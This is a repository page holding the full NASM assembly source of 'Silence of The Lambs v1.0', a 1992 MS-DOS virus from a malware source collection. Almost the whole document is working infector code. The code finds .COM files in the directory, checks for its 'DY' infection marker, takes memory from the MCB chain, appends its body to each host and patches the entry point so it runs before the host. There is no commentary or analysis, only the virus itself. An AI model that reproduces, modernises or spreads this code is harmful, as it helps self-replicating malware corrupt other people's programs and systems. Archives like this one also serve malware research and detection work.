MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tsotl-a.asm
2021-01-12 18:01:59 -06:00

166 lines
3.1 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; Silence of The Lambs v1.0
; (c) The Chronomancer of Demoralized Youth 1992
;
; First version : Thursday 27th of Febuary - 01:50 CET.
;
org 100h
jmp short dummy1
db 'DY'
dummy1:
mov cx,(100h-80h)/2 ;save command line on stack
mov si,80h
save_parm:
push [si]
inc si
inc si
loop save_parm
mov ah,4Eh
xor cx,cx
mov dx,offset file
int 21h
jc nomore
again:
cmp byte [9Eh],0FAh
jae more
call infect
more:
mov ah,4Fh
int 21h
jnc again
nomore:
mov cx,(100h-80h)/2
mov si,0FEh
rest_parm:
pop [si]
dec si
dec si
loop rest_parm
mov bx,0000h
eof equ $-2
jmp bx
file db '*.COM',0
infect:
mov bx,cs
mov si,cs
dec si
mov ds,si
cmp byte[0],'Z'
je ok_mark
jmp back2
ok_mark:
sub word [0003h],pgfsize
jnc ok_mark2
jmp back
ok_mark2:
mov ax,[0012h]
sub ax,pgfsize
push ax
mov ds,bx
mov ax,4301h
xor cx,cx
mov dx,80h+1Eh
int 21h
mov ax,3D02h
int 21h
xchg bx,ax
pop ds
push ds
mov cx,total
xor dx,dx
mov ah,3Fh
int 21h
cmp byte [0],'M' ;exe ?
je close
cmp byte [0],'Z' ;exe ?
je close
cmp word [2],'YD' ;allready infected?
je close
xor cx,cx
xor dx,dx
push cx
push dx
mov ax,4202h
int 21h
add ax,total+100h
mov cs:word [00FEh],ax
mov ah,40h
mov cx,total
xor dx,dx
int 21h
push cs
pop ds
mov ah,40h
mov cx,applen
mov dx,offset append
int 21h
mov ax,4200h
pop dx
pop cx
int 21h
push [eof]
mov ax,word [00FEh]
mov [eof],ax
mov ah,40h
mov dx,100h
mov cx,total
int 21h
pop [eof]
close:
mov ah,3Eh
int 21h
back:
pop ds ;(mov ds,si)
add word [0003h],pgfsize
back2:
push cs
pop ds
ret
append:
call $+3
pop si
sub si,3+total
mov di,100h
mov cx,total
rep movsb
mov ax,100h
push ax
ret
applen equ $-offset append
total equ $-100h ;size
pgfsize equ ($-100h)/16+2 ;paragraphs needed